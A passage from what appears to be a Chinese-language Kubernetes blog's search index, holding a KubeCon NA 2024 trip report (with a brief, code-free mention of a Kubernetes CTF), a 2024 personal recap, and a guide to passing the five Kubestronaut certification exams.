分鐘內完成挑戰，每個類別將從穩定性（Stability）、恢復能力（Resiliency）、靈活性（Flexibility）、可觀測性（Observability） 四個方面進行評估。\n比賽期間，主持人會在參賽者的螢幕之間來回切換，與觀眾互動，並現場向參賽者提問。觀摩別人對戰其實真的很有趣，之前聽到這活動就覺得很刺激，現在想嘗試複製這模式帶回 KCD Taipei 跟大家玩，期待一下今年的 KCD Taipei 吧！\n同場加映：KCD Taipei 2025 # Kubernetes Community Day (KCD) 是由雲端原生計算基金會 (CNCF) 支持與認證的官方社群組織活動，此會議集結來自開源和雲端原生社群的使用者及技術人員，以進行教育、協作和分享。\nKCD Taipei 2025 即將在 7/5 於臺灣科技大學國際大樓舉辦，是臺灣最大的 CNCF 官方活動，目前正在徵稿和開放 RSVP，趕快去官網了解更多資訊吧！\n官網連結：https://kcd.taipei/2025\nDay 4: Kubernetes \u0026amp; Security # 雖然 Ambassador Breakfast 昨天已經過了，但我今天還是要早起，因為另外一個 Breakfast 活動 \u0026ndash; Organizer Breakfast！\nOrganizer Breakfast 聚集來到現場的 Cloud Native Community Group (CNCG) 和 Kubernetes Community Days (KCD) 組織者們，不乏有些跟昨天早餐有重疊的參與者。\n像昨天的 Ambassador 不一定會是 CNCG 或 KCD 的 Organizer（不過 KCD 要舉辦的 Organizer 至少要有一位 CNCF Ambassador 或 Project Maintainer）\n同時間有 Program Committee Breakfast，專門給議程軌的審稿人員聚會，不過我並沒有參與過 KubeCon 審稿，這也只能留到之後的活動參與了。\n早上聽完 Keynote 後，走到「Capture the flag Hosted by ControlPlane」活動中，如果以前打過資安競賽的話就知道，沒錯，K8s 也是有好玩的 CTF 活動。\n活動開始時，要前往 Slack 向「CTF Taskmaster (from ControlPlane)」取得指定題目的 Kubernetes 連線資訊與憑證。接下來，我們需利用現有權限，設法提升權限，例如：利用 Workflow 設計缺陷、解密 Sealed Secret，或是針對未修改的 Helm Chart 預設值進行攻擊。\n需要注意的是，初始權限絕對不會是 Admin（Get Node, Describe Node, Create Deployment 很大機率都會被封鎖，更別說 exec 進去 shell），因此，想要在競賽中取得玩得好，一定要善用 kubectl auth can-i 指令來評估權限範圍外加通靈術，高機率會有意想不到的收穫！\n中午，終於不是一個人吃午餐了，跟 Kubernetes 社群的午餐聚會，名稱叫做「Kubernetes SIG Meet and Greet Lunch \u0026amp; Learn」\nKubernetes 的分組很多，從 Auth、API Machinery、Network、Release、Storage、K8s Infra、Testing 等都有很多人，像我是隸屬於發佈小組 (Release Team) 的訊號影子成員 (Signal Shadow)。遇到 v1.32 的 Signal Lead \u0026ndash; Drew 和 Team Lead Shadow \u0026ndash; Vyom，和 SIG Network 的 Tech Lead \u0026ndash; Antonio，第一次可以近距離跟網路上的開發者們一同交流想法真的很棒！\n當天 ClashLoopBackOff 是會眾參與版本，個人競賽，主持人在台上開好 Slack 頻道，還有 webhook 的 token，題目是：\n建立一個 Kind cluster。 新增 Pod。 ? 刪除 Pod。 Slack 訊息提示說某 Pod 名稱被刪除。 第三項是問號？對，這一部分是參與者要去填空的。剛開始後我還沒意識到，提出問題後才發現，原來這就是題目的一部分。\n當然就坐在現場想辦法實作，但我沒想到很好的解決辦法，還想要掛 Admission Webhook 奇怪解法。但其實只要用 Kubernetes Event Exporter 就能實作。意外遇到官方側拍我邊拿著鏡音鈴邊寫題目：\n題外話，我拿著鏡音鈴玩偶走在展覽會場，很多人都在問這隻要去哪裡拿？當然這是非賣品，絕對不給賣的！\n走在會場路上的同時，路上閃過一張很「迷因」的海報。\n這張海報也不是「迷因」，而是 CNCF 的紀錄片宣傳海報，紀錄了 Argo CD 的起源，揭露 Argo 如何從單一工作流程引擎，成長為簡化 Kubernetes 部署並使其自動化的強大工具集合 \u0026ndash; Argo Workflow、CD、Rollouts 與 Events。\n錯過首映會嗎？也沒關係，現在可以在 CNCF 官方 YouTube 頻道觀賞喔！\n晚上回去的時候，Knative 的 Leo Li 傳訊息給我，因為楷訓跟他說我也在現場，那就決定了，隔天在 Knative 的攤位碰面！\nDay 5: Kubernetes \u0026amp; Next decade # 來到了最後一天，不過我比較晚去，一方面不需要有聚會，沒有時間壓力。\nKeynote 最後一場上台表演趣味競賽，叫做「KubeCon Family Feud」，這是源自於美國 Steve Harvey 的電視節目「Family Feud」，事前會準備問題並調查 100 位開發者（可能不只，有發送到 dev@kubernetes.io 跟大家調查），答案會依照次數排行在答案板上，臺上的參賽者要限時回答問題，如果回答的問題排行越高，得到的分數也越高。\n問題大概像是「你怎麼唸 kubectl？」，有人可能直接唸一起，也有人把 CTL 拆開來各唸一次。如果是你，你會怎麼唸 kubectl 呢？\n上午聽完 Keynote 後就在 Solutions Showcase 場館溜達，遇到 Leo Li 後就是一直聊天，為什麼能聊超久？因為難得在會場能遇到講中文的人。∠( ᐛ 」∠)＿ 可見英文是我很弱的項目 QQ。\n中午吃完差不多 14:00 時候，Solutions Showcase 場館就開始陸續收攤了，拉下鐵捲門不再開放進入，接下來就是來去認真聽議程囉！（大誤）\n標題名稱如所見，「要測試 Kubernetes」但「不要用到 Kubernetes」，乍聽之下真的很矛盾。\n這場是 Istio 的開發案例，想要測試網路，每一項都是快速執行、不需要任何前置作業處理、容易除錯、不需要 Kubernetes、也不需要 Docker 或 Root 權限。想要做 Cloud Native 的應用程式開發可以參考看看。\n這場算是 Kubernetes SIG auth 的功能發布。\n其中有個很有趣的東西想要跟大家分享 —— Image Pull Credential 驗證，映像檔如果在私人 registry 上，拉取下來在節點上會有暫存，但只有 imagePullPolicy 設定 always 才會連線上去驗證，不然通常不會驗證，直接使用。預計 v1.33 以後會修正這問題。\n不過每個 KubeCon 的議程都很好嗎？老實說我覺得不太一定，這場算排在最後一個議程了，而且個人認為沒有太多新東西。\nDistributed PostgreSQL 就是在推他們家的產品 YugabyteDB（這講者是 Yugabyte，也是贊助商），再加上 PostgreSQL 拿來做 etcd 已經是 2023 年就有人在做這件事。另一方面，etcd community 也在恢復當中，主分支也很頻繁在更新。\n題外話，我要出去回飯店的時候，有看到 etcd 的 maintainer 群在該場後面一起討論。\n收穫與成果 # 耕耘了 Cloud Native 社群好一段時間，貢獻總算被官方人員注意到，很難得用獎學金的名義出發，臺灣應該沒人拿過 CNCF 的 KubeCon 贊助，這次就寫文章來紀念一下。\n在此特別感謝 Cloud Native Computing Foundation、Isovalent、Two Sigma、Sonatype 和社群成員小飛機 (Phil Huang)！\n好奇我這次旅程的禮物有多少嗎？展示一下囉！\n我逛任何研討會從來沒收過這麼多紀念品跟禮物，國外研討會真的很好玩，想要獲得跟我一樣的機會嗎？來我們 Cloud Native Taiwan User Group 社群聚會現場，我可以再跟你說更多！\n至於要如何去逛 KubeCon 呢？我大部分都優先選擇沒有錄影的活動，大部分的議程都會有回播可以看。 有社群朋友就去認識線下搭話相認，沒有的話就去認真聽一下議程。\n建議帶 Ambassador 朋友，請對方協助帶你逛 (ㄙㄡ) 逛 (ㄍㄨㄚ) CNCF Store，說不定會有隱藏內容呢！\n旅程花費 # 先列一下能在 CNCF 補助範圍的：\n免費提供的 All Access Pass 個人價：1,079 美金 機票來回：41,833 台幣（換算 1,308.06 美金） 飯店住宿 5 天：978.70 美金 不用簽證但還要申請的 ESTA：21 美金 機場接送是使用飯店的免費服務，除了 All Access Pass 以外，以上金額換成美金後扣 2,000 美元，就是我這次的必須花費了。\n以下還有幾個很重要但不在補助範圍：\neSIM 費用（7 天 T-Mobile 吃到飽）：353 台幣 購買 KubeCon 紀念品：？- 150 美金（我沒有算總額，150 美金是當上 Ambassador 後的折扣碼，現場花就不用額外付運費了） Day 4 晚上點了 Uber Eats：34.08 美金（換算 1,106 台幣） 回程在 Seattle 吃午餐：64.80 美金（換算 2,110 台幣） 買伴手禮（4 盒巧克力）：192 美金（換算 6,252 台幣） 這次旅程都直接用信用卡解決了，現金真的很少動到。\n今年 2025 預計會去 KubeCon EU，去尋找 NA 沒見過的社群朋友們，如果其他投稿如果也有中的話，就跟著一起飛了。\n如何看 KubeCon 的 Sched？ # 從我這篇文章單人探索 KubeCon 過程，可以知道為什麼 KubeCon 的 Sched 網站很雜亂的感覺，我這裡也同時教大家怎麼看 KubeCon 的 Sched，想要單人獨闖 KubeCon 研討會可以少一些彎路。\n官方分兩個 Sched 網站：\nKubeCon + CloudNativeCon North America 2024 CNCF-hosted Co-located Events North America 2024 第一個就是主要活動，第二個就是 Co-located Events 會在主要活動前舉辦，如果沒有 All Access Pass 就不用看也沒關係。\n主要活動會列出 Co-located Events 的時段和地點，就像下面的圖這樣：\n假設你想看 EnvoyCon 的議程，就可以在 Co-located Events 的 Sched 篩選 EnvoyCon 的分類，就可以找到 EnvoyCon 的議程表。\n想聆聽的議程也可以直接註冊 Sched 的帳號，按下打勾，手機上登入後就會顯示提醒。\n後記 # 今年 Blog 想要來嘗試每個月更新一篇長文，自從碩士結束以後，終於有空檔時間來寫文章，目前這樣的更新節奏還與許多事情平衡。\n文章主題依然會以 Kubernetes 和 Cloud Native 出發，不一定是技術性質，也可能會聊聊社群上的八卦等。部分文章會提供英文版本（以 ChatGPT 翻譯，自己再校稿修正）給國外的朋友參考，好好利用 CNCF Ambassador 身份爭取更多曝光。\n喜歡我的文章歡迎登入 GitHub 幫我按個正向反應，如果有幫助到你歡迎點下方的 Buy Me A Coffee 贊助，支持我繼續走下去，我會在下篇文章和下次公開演講中提及你的超級感謝！\n","date":"2025/03/20","externalUrl":null,"permalink":"/posts/kubecon-na-2024/","section":"Posts","summary":"KubeCon + CloudNativeCon（以下簡稱 KubeCon）是雲端原生領域中最大的研討會了，身為 CNCF Ambassador，以及 KCD Taipei 2024 和 Cloud Native Taiwan User Group 共同籌辦者，居然到現在還沒去過 KubeCon？\n","title":"單人勇闖國外研討會 - KubeCon + CloudNativeCon North America 2024 心得","type":"posts"},{"content":"2024 年可以說是生涯發展最劇烈的一年了，碩士論文、工作和雲端原生社群同時並行，時間就是完全被壓縮。\n現在就來記錄一下今年發生的事情吧！\n完成碩士學位 # 這應該是本年度最大的 KPI 了，我碩士論文完成了！ 論文名稱是「骨質疏鬆症之全基因體關聯研究及代謝路徑分析」\n對，完全跟我現在走的領域又不一樣。我簡單說明一下，這是生物資訊的應用，叫做「全基因體關聯研究 Genome-wide association study」，簡稱 GWAS。從人類的基因當中尋找可能存在的序列變異，那種我們會稱之為「單核苷酸多態性」SNP，再從這些 SNP 中找出與疾病有統計顯著關聯，找出 SNP 後回去查詢相對應的蛋白質，建構出蛋白質交互作用網路 (PPI)。\n為何會寫到三年？一方面除了工作（前兩年有學分壓力但還是工讀，最後一年就是正職時數，但就是假日寫論文），另一方面有系上制度問題導致我延後了一年審查（簡單來說就是外行人審核內行的 proposal，只能說是超級糟糕的制度。所幸後來改掉了，proposal 階段還能收到聽得懂人話的回饋。），為了一些身心平衡，也參與了社群。\n社群成果如何呢？其實就是接下來的「雲端原生」社群，我就接續著講吧！\n取得 CNCF Ambassador 身份 # CNCF Ambassador 我在 2023 Fall 的時候有申請過，不過可能資歷較淺（算 KCD Taiwan 2023 那時候其實也不到一年），最後結果以 rejected 收場。\n到 2024 H1 申請後，那段時間都很努力在 GitHub 找 CNCF 專案貢獻，從文件、改 CI/CD、實作基本都做過一輪，合併率很高。\n當時我還記得是中午的時候收到錄取通知，用跳著過去吃午餐呢！\n臺灣的 CNCF Ambassador 目前包括我有 4 位，除了小飛機 Phil Huang 比較常出現在 CNTUG 以外，其他像海帶、子篆較多在 WasmEdge 專案維護。\n錄取 CNCF Ambassador 後有特別去研究在地社群的核銷制度，每個月可以核銷 150 元美金，或者 3 個月 450 元美金，加上海帶大大的指引和下一段要說的 mentorship 所需，於是就有「CNTUG meetup 當講者送禮」制度了。\n擔任這職位對我來說，不僅是 CNCF 對我貢獻認可外，同時也承擔一些責任跟義務，比一般參與者更具有話語權。有時候 CNCF 推出新制度雖然不一定是完美的，但我自己觀察下來，CNCF 官方人員都很用心聆聽和經營。如果參與我們社群過程 (e.g. KubeCon 或 CNTUG 等 CNCF 相關活動)，遇到問題想要跟官方反應但不知道如何做，都能跟我求助。\nCNCF Mentorship - Kubespray # 上一段我有講到在 GitHub 找 CNCF 專案貢獻，另外一個原因是，我 CNCF Mentorship (LFX'24 Term 1) 投了 3 份全都落選。秉持一種，反正沒人帶我，那就是我自己學。\n後來怎麼遇到的，詳細完整故事可以看 {% post_link lfx-mentorship-kubespray LFX Mentorship - Kubespray 實習心得 - 從 user 到 contributor，再到 reviewer %}，這篇文章我也寫了英文版本，簡短心得放在了 CNCF blog 當中。\n當時做完第一隻 PR 以後，maintainer 就來問我有沒有興趣來做 CNCF mentorship，我的回答當然是「Yes, I do!」。然後就從此踏上開源的不歸路。\n雖然敘述看起來很像內定，不過我還是很認真在寫履歷申請，從我在公司實作、發表 Kubespray 文章、成為貢獻者的過程，過往還是有寫一些貢獻（Ubuntu 24.04 支援等）。雖然實習過程沒有特定目標需要完成，大部分就是把應用程式的版本更新。Kubespray 維護的套件真的不少，現在也有許多是過時的，使用需要注意。\n順帶一提，實習是有錢可以拿的，不過，據說很多實習生在結束後，不一定會繼續做貢獻，但看我的 GitHub activity 就知道我還有在 code review。\nKCD Taipei 2024 籌備 # 雖然這去年就有做過了，不過今年算是參與較多，基本上除了贊助以外，其他都很仔細摸索，每次 COSCUP 說要開社群會議基本上會排出時間參與。\n今年更是嘗試多發了一些文章做多一點宣傳，盡可能跟專業研討會看齊。\n活動結束後，練習寫了 KCD Taipei 2024 透明度報告，除了前面一些文字以外，大部分都是我編輯整理，想當然就被我夾帶私貨了。\n題外話：這是我首次把鏡音鈴送進 CNCF 官方網站裡面，沒有錯，我下次還敢 (O)。\nKubernetes v1.32 Release Signal Shadow # 除了 Kubespray 以外，這個算是我第一次正式參與 Kubernetes 專案的發佈流程。\n去年 (2023) 年底的時候就有刷到發佈團隊影子申請 (Release Team Shadow Application)，不過當時因為沒空就沒有申請，今年 v1.31 的時候有寫了申請但被拒絕。今年九月有再重新申請一次，這次就有加入成功了！\nRelease Team 裡面有 4 ~ 5 個小組，分別為 Enhancement、Release Signal、Docs、Communications、Release Note（v1.33 已跟 Communications 合併），我是申請加入 Release Signal。\nRelease Signal 基本上就是看 Kubernetes 的 CI，因為 Kubernetes 的程式非常龐大，合併的時候不見得會所有都跑一遍測試，有時候程式合併後，可能會發生持續性錯誤 (Failing Test) 或偶發性錯誤 (Flaky Test)，持續性錯誤一定要發 issue 請其他 SIG 團隊協助修復，偶發性錯誤如果出現 2 次以上會需要發 issue 請其他 SIG 團隊看需不需要做發佈阻擋 (Blocking)，發佈 Alpha、Beta、RC 測試、正式版本前的時候沒有清理掉基本上會延遲。\n測試結果要看 TestGrid，如果發現偶發性錯誤就要用 Triage 交叉查詢確認 log 內容。\n不過我只是參加 Shadow，有些工作還沒有很詳細了解為何要這樣做，等我之後多參與幾次後再來撰寫文章。\n登上 CNCF 直播 - ChatLoopBackOff # 這是我第一場在 CNCF 的官方 YouTube 頻道直播（印象中有 LinkedIn 等平台），主題是 ChatLoopBackOff。\n我簡介一下這活動在做什麼，ChatLoopBackOff 會請 CNCF Ambassador（我們會上去填寫表單）來現場直播探索 CNCF 專案，通常該專案主播都是「初見」，因此這不算是教學，比較像是在展示我如何去學習一個新內容。\n這次直播我被分配到 WasmCloud，依照原定時段會是 12:00 ~ 13:00 PST（臺灣時間 3:00 ~ 4:00），照原本時間我真的不用睡了，後來跟 CNCF 工作人員協調後，提早 4 個小時直播，臺灣時間從 23:00 到 00:00。\n整體來說真的很好玩，直播後的隔天在我 Facebook 快速寫了一篇直播後日談，就像我在貼文說的：\n每個人學習方式會有所不同，有的可能習慣做筆記或朗讀，但對我來說我最快方式就是上手操作，直播要顧慮觀眾，我會講解我現在的思路和猜測過程，給大家參考我是如何接觸完全不熟的領域。 與其說「介紹 Wasmcloud」，不如說「我在如何學習名為 Wasmcloud 的新領域」。\n近期應該還會再開一次，如果有新訊息，我會在 Facebook 和 CNTUG 社群公告。\niThome 鐵人賽 2024 - Kubernetes 社群評審 # iThome 鐵人賽 2023 如果有印象的話，CNTUG 就有跟 iThome 合辦「Cloud Native」組，評審就是邱牛 (hwchiu)。今年 (2024) 大約籌備 KCD Taipei 2024 過程中，就有詢問要不要來合辦 Kubernetes 組。\n於是就接下了社群評審的任務，基本上就是閱讀文章，一個系列就要讀 30 篇，不得不說這真的很花時間，也從中了解評分方式，兩位評審意見如果出現歧異就需要去解決。\n每一位參賽者都花了 30 天時間努力完成文章，作為 2022 年的參賽兼得獎者之一，撰寫過程真的超疲憊，給各位參賽者一個 respect，感謝大家對雲端原生的貢獻，另外 CNTUG 也會在現場給得獎者頒發額外禮物，敬請期待！\n申請獎學金和第一次參加 KubeCon + CloudNativeCon # KubeCon 官網上的通常是給多樣性、社群活躍或 CNCF 專案維護者申請，這些通常第一個條件是不會有公司贊助（旅程和會場票是自己出錢），接下來就會看各個資格：\n多樣性：開源社群中代表性不足或邊緣化的族群，我應該是沒辦法申請到。 社群活躍度：2024 上半年度，我並沒有算太高。 CNCF 專案維護者：我還沒有資格。 另外一點想講的是，除了 KubeCon 官網上有獎學金申請以外，其實還有另一個資格是 KCD Organizer，這資格敘述非常直接，資格範圍就是 KCD Organizer。\n不過他的申請表單就是私下給 KCD Organizer 一組 Google Form，填寫後就等申請結果。\nKubeCon EU 2024 原本已經申請了，但收到回覆是因為我還不是 KCD 2024 的籌備成員（KCD Taipei 2024 還沒有送出 issue），就被拒絕了。\n今年經過 CNCF Ambassador 和 LFX'24 Term 2 實習後，決定重新挑戰一次！\n這次終於申請成功了！歡迎到我的 LinkedIn 文章連結參考。這次獎學金包含：全區域活動通行證 (All-Access Pass) 和 1,500 美元的旅費。\n首次參與 KubeCon 心得\u0026hellip;，我其實還沒產出來，不過 11 月已經有在 CNTUG meetup 分享過了，跟許多雲端原生的國際社群朋友見面、聊天，從線上 Ambassador meeting 來到線下就會覺得很奇妙。\n前陣子到年末真的忙碌，沒有時間補文章，我寫完後到時候會在下面補連結。\nCNTUG Infra Labs 大客戶 bridge # 我大約在 2024 年 9 月的時候，認識了「源來適你」社群，也是 Apache 研討會唯一的臺灣民間組織，當時看到嘉平在 Slack 群組提出大量運算需求，身為 CNTUG Infra Labs 的維護者之一當然就去推廣一下了，後來 Josh Yeh 開了 conference call，跟 Infra Labs 主要維護者郭靖 (Gene Kuo) 和嘉平一起聊運算資源的提供方式。\n去年在填寫 CNCF Ambassador 的時候，當時申請有寫到一些目標（但後續申請的表單就拔掉了，可能我猜每個申請看下來真的太多了。），有寫到協助會推廣 Infra Labs 的部分，雖然當時申請沒有過，不過我也依然在實踐這個目標。\n文章內容可詳情參考 CNTUG Infra Labs 2024 Recap。\n三星期內取得 Kubestronaut (Kubernetes 太空人) # 年底想要來湊一些成就，感覺一個月內來取得 Kubestronaut 很有趣，順便幫自己加一下證照，於是就有了這項挑戰。詳見文章{% post_link how-to-get-kubestronaut-in-three-weeks 從「有」基礎到三星期內獲取 Kubestronaut 心得 %}。\n還是再重申一次，如果是新接觸 Kubernetes 的朋友想要考證照，極度不建議參考我的準備方式，大量練習和釐清觀念比較重要。\n結語 # 我在邊寫邊回想的時候，把過程跟心得打一打後，才發現有夠多\u0026hellip;\u0026hellip;，打那麼多 TM 誰看得完.jpg。\n真的沒想到這些成就都發生在這半年內，還以為已經過一兩年了，也感謝社群朋友一路以來的支持和鼓勵。希望新的一年能祝大家平安健康、心想事成！\n","date":"2025/01/25","externalUrl":null,"permalink":"/posts/2024-recap/","section":"Posts","summary":"2024 年可以說是生涯發展最劇烈的一年了，碩士論文、工作和雲端原生社群同時並行，時間就是完全被壓縮。\n","title":"2024 年度回顧","type":"posts"},{"content":"","date":"2024/12/30","externalUrl":null,"permalink":"/tags/certificate/","section":"Tags","summary":"","title":"Certificate","type":"tags"},{"content":"","date":"2024/12/30","externalUrl":null,"permalink":"/tags/kubestronaut/","section":"Tags","summary":"","title":"Kubestronaut","type":"tags"},{"content":"這篇會紀錄我從「有」基礎接觸 Kubernetes 經驗，如何在三星期以內取得 Kubestronaut 的過程。\n如果你是純新手，甚至還沒接觸 Kubernetes，極度不建議參考本篇的準備方式。 （選擇題大概可以啦，但筆者平常工作大量接觸 Kubernetes，實作題只有用附贈的模擬考試 killer.sh 熟悉環境和練手感，建議找其他文章參考。） 二話不說，先上 Credly 證明。\n1. 前言 # 我先簡單介紹我自己背景，我從 2021 進入大四實習後，中間就開始接觸 Kubernetes，實習結束後留在公司兼職和讀碩士班，然後在公司一直練習架設、維護、遷移有關私有雲 K8s。\n雖然接觸很久，但一直都沒去考的原因，大部分是沒時間，再加上沒錢。（買一個 Kubestronaut 組合包需要 1,495 美金，換算台幣也需要 45,000 元，對學生或剛出社會的人來說不便宜）\n今年幸運錄取 CNCF Ambassador 拿到考試優惠券以外，年末終於有點時間，給自己來個小挑戰：「一個月內取得 Kubestronaut。」（至於最後為什麼變三星期，我後面等等會解釋）\n2. 什麼是 Kubestronaut # Kubestronaut 是 Kubernetes + Astronaut (太空人) 的組合詞，沒有官方中文翻譯，但我中文會說「K8s 太空人」。\n條件很簡單，只要把 Linux Foundation 發行的 Kubernetes 五張證照考出來，並且每張證照皆在有效期限內，就能成為 Kubestronaut。\n全世界目前（截止到 2024 年 12 月）大約有 1,000 位，臺灣現在（包含我）有 11 位。\n拿到後會有哪些福利可以享用：\nKubestronaut 外套一件（僅送一次） Credly Badge Kubestronaut 專屬私人 Slack 頻道和 Email 群組 每年會有五張證照的 50% 折扣券（可以自用或送給其他人） 每年 3 場 CNCF 活動（KubeCon）有 20% 折扣 3. 考試準備 # 雖然是全英文考試，但整體來說不會用太難的詞彙或文法。\n個人難度評比：KCNA \u0026lt; KCSA \u0026lt; CKAD \u0026lt; CKA \u0026lt; CKS 個人考試順序：KCNA -\u0026gt; KCSA -\u0026gt; CKA -\u0026gt; CKAD -\u0026gt; CKS\n如果是新手的話，建議參考我的考試順序依序準備。\n如果是想拼 speedrun 的話，我會建議 CKA 先考，CKS 的前置條件是要通過 CKA，所以越早考就可以提前預約 CKS 考試時間。\n以下資訊是 2024 年 12 月的考試做準備，如果有更新請依照 Linux Foundation 公布為主。\nKCNA: Kubernetes and Cloud Native Associate # 60 題單選題 時間限制 90 分鐘 及格線 75 分 / 滿分 100 分 這個其實沒什麼能準備的，網路上也沒什麼題庫能看，雖然看到網路上有人在 Medium 整理 The KCNA Book 很詳細，不過如果你已經有 Kubernetes 基礎，大部分都只是考觀念而已，基本上不太需要準備。\n成績結果大約在考試結束後 10 分鐘內就會拿到了。\nKCSA: Kubernetes and Cloud Native Security Associate # 60 題單選題 時間限制 90 分鐘 及格線 75 分 / 滿分 100 分 相比 KCNA 就多涵蓋了資訊安全的部分，需要稍微知道 NIST 之類的東西。（不知道也沒關係，因為我不知道但也過了）\n這個相對來說比較新，可能以前也有 beta 測試過，有好心的國外網友整理 KCSA 的模擬試題（應該不是直接從題庫裡面出來的，但我在考的時候有印象幾題有相似的內容），你可以上去按個 60 題自己做一遍，答對超過 9 成基本上就穩了。\n成績結果大約在考試結束後 10 分鐘內就會拿到了。\n實作題證照準備方式 # 買完考試之後，系統會送 killer.sh 兩場模擬考試，可以在距離考試前 5 天和前 2 天各開一次（題目都會一樣）。\nKiller.sh 的題目會比真實考題難一些，難的部分主要在於瑣碎（CKS 段落我會舉例），模擬考試寫爛不用灰心，兩小時內很難完全寫完。\n打開後有 36 小時使用時間，一開始 2 小時可以用裡面環境練習考試，2 小時後就會顯示分數和解答。\n模擬考的分數是系統給的檢查點，不代表是最後考試分數。\n剩下的練習時間 (約 34 個小時) 檢討不會的題目，並且自己練習照做一遍，分數每隔 10 分鐘會更新一次，可以驗證自己有沒有做錯。\nCKA: Certified Kubernetes Administrator # 17 ~ 20 題實作題 時間限制 120 分鐘 及格線 66 分 / 滿分 100 分 允許重考 1 次 這張就是在考叢集管理，控制節點（control plane）和工作節點（worker）更新、etcd 備份與還原、Static Pod 設定、DaemonSet 和 Deployment、Taint 與 Tolerations 等。\n上面只是隨便舉例，考試範圍請看 Linux Foundation 官網。\n這場單純就是在熟悉考試環境跟命令使用，以前都不會想用 --show-labels 或過濾標籤，就是用 K9s + 字串尋找，會 label 就可以好好善用了。 考試環境當然不會有 K9s，kubectl 打完後面不知道接什麼就加 -h，或者多按幾次 tab 試試有什麼功能可以玩。\n成績結果最快大約會在開始考試時間後 24 小時就拿到（假設你 9 點考試，隔天的 9 點最快收到考試結果）。\nCKAD: Certified Kubernetes Application Developer # 17 ~ 20 題實作題 時間限制 120 分鐘 及格線 66 分 / 滿分 100 分 允許重考 1 次 這張就是考應用程式部署，如何把 Pod 轉換成 Deployment、如何用 rollout 退回版本、容器映像檔建置更新、Secret 設定、Liveness Probe 和 Readiness Probe、InitContainer (Sidecar Container) 或 NetworkPolicy 等。\n我會覺得簡單的原因有三個：\n我在做第二次模擬考試的時候，其實是有機會兩小時內用 best score 完成，但我前面看了一些 YT 影片，把時間消磨掉了。 再加上這場考試是實作題證照唯一提早做完，結束前 10 分鐘交卷的。 平日就很常使用這些內容，基本上就有看 kubectl 指令有沒有更快的做法。 有信心 95 分以上，但最後拿了 87 分\u0026hellip;，雖然不知道哪邊被扣掉，但反正有到及格線就算了（通過是不能重考的）。\n成績結果最快大約會在開始考試時間後 24 小時就拿到（假設你 9 點考試，隔天的 9 點最快收到考試結果）。\nCKS: Certified Kubernetes Security Specialist # 前置條件：必須取得 CKA 才能預約考試。 17 ~ 20 題實作題 時間限制 120 分鐘 及格線 67 分 / 滿分 100 分 允許重考 1 次 這張是我花最多時間準備了，範圍是 Kubernetes 考試中最廣的（e.g. Falco、Trivy、Bom 或 Apparmor 等），考試內容如果平常用到機會很少，大概也不會特別記。 我把 Killercoda 的 CKS 分類全部先寫一遍，這個可以知道稍微考試範圍在哪，寫模擬考試比較會有一些方向。 但實際情況是\u0026hellip;，兩場模擬考試都寫不算太好，都拿到 low score，第二次寫模擬考試的時候大多不是做不出來，而是像我前面提及的，瑣碎內容很多。\n主要瑣碎在哪？我用 Audit Log 題目來舉例：\nKiller.sh：從 volumes、volumeMounts 到 args 全部都要自己補上設定，Audit Log 設定檔全部要重寫。 真實考試：volumes 和 volumeMounts 都寫完了，args 有寫一部份了，但可能需要一些更動，系統會有 Audit Log 設定檔一部分，但要自己補完。 但這不是壞事，這是在幫助你完全理解概念，考試在 debug 時候比較不會不知所措。\n雖然模擬考都還是練習到 best score 了，但第一次實際考試的時候沒有寫太好，成績只有拿 65 分，17 題還空掉 4 題，有一題還是不會把 Linux 使用者移出群組，那時候才發現我對 Linux 使用者控管沒有很熟，時間來不及就沒做完，另外兩題分別為 Falco 和 CiliumNetworkPolicy。（那題的 Falco 需要自己寫規則。）\n還好是可以允許重考 (retake) 一次，我遇到是題目完全一樣（Reddit 有人分享會有一兩題不一樣），所以只要把第一次考試不會的部分記在腦中，考試結束後記得補一下知識點，第二次考試就有充裕的時間寫最後不會的幾題。\n補 Falco 知識點的時候，可以練習求助 GPT，請他撰寫規則，根據內容再去跟官方文件比對，考試的時候就會比較好找。\n成績結果最快大約會在開始考試時間後 24 小時就拿到（假設你 9 點考試，隔天的 9 點最快收到考試結果）。\n4. 總結 # 到目前為止（2024 年 12 月），我現在是臺灣第一位具有 CNCF 認證的雙重身份（同時具備 CNCF Ambassador 和 Kubestronaut），根據 cncf/people 的 people.json 檔案統計，具有雙身份只有 20 位（不包含我）。\n從這次考試學習到很多從沒用過的技巧，像是根據欄位排序、容器呼叫 Kubernetes API、SecurityContext 等，甚至模擬考題還有 CTF 的玩法（用限制的權限找出所有的 secret 字串）。\n如果時間、金錢允許的話，建議去考考看，對 Kubernetes 搞不好會有新的理解。\n如果有時間但沒金錢的話，可以多參加我們 Cloud Native Taiwan User Group 舉辦的活動，可能會不定期丟出 CNCF 活動折扣碼或 Linux Foundation 考試券。\n也歡迎來投稿 CNTUG meetup，只要有實體分享，我們會送一件 CNCF Store 的商品，趕快點進去投稿吧！\nCNTUG 官方網站：https://cloudnative.tw Facebook 社團：https://fb.cloudnative.tw Telegram 群組：https://t.me/cntug Meetup 活動報名：https://community.cncf.io/cloud-native-taiwan-user-group Meetup 投稿：https://sessionize.com/cntug-meetup/ 5. 後記 # 原本其實想說一個月內刷出來（12/9 開始考，構想是實作題每週考一張），12/14 那週原本額滿排不進考試，後來重新排的時候剛好有空位出來。\n後來做一做發現 CKAD 不難，就把 CKS 排在隔天一起考。（但就 CKS 沒考過 (´；ω；｀)，不然標題就會寫兩星期了。）\n考試預約大概是這樣：\n12/9: KCNA, KCSA 12/14: CKA 12/21: CKAD 12/22: CKS 12/25: CKS (retake) 就在我拿到 Kubestronaut 的隔天，LinkedIn 的動態第一天給我一篇 Golden Kubestronaut。\n資格就是除了 Kubernetes 的 5 張證照以外，外加 CNCF 現有的 8 張證照（其中 Kyverno 還在預購中，2025 年 1 月會正式打開考試）全部考出來。\nPrometheus Certified Associate (PCA) Istio Certified Associate (ICA) Cilium Certified Associate (CCA) Certified Argo Project Associate (CAPA) GitOps Certified Associate (CGOA) Certified Backstage Associate (CBA) OpenTelemetry Certified Associate (OTCA) Kyverno Certified Associate (KCA) \u0026hellip;\u0026hellip;，有臺灣人要去搶首殺 Golden Kubestronaut 嗎？\n","date":"2024/12/30","externalUrl":null,"permalink":"/posts/how-to-get-kubestronaut-in-three-weeks/","section":"Posts","summary":"這篇會紀錄我從「有」基礎接觸 Kubernetes 經驗，如何在三星期以內取得 Kubestronaut 的過程。\n","title":"從「有」基礎到三星期內獲取 Kubestronaut 心得","type":"posts"},{"content":"","date":"2024/12/07","externalUrl":null,"permalink":"/tags/itsa/","section":"Tags","summary":"","title":"ITSA","type":"tags"},{"content":"題目 Problem # 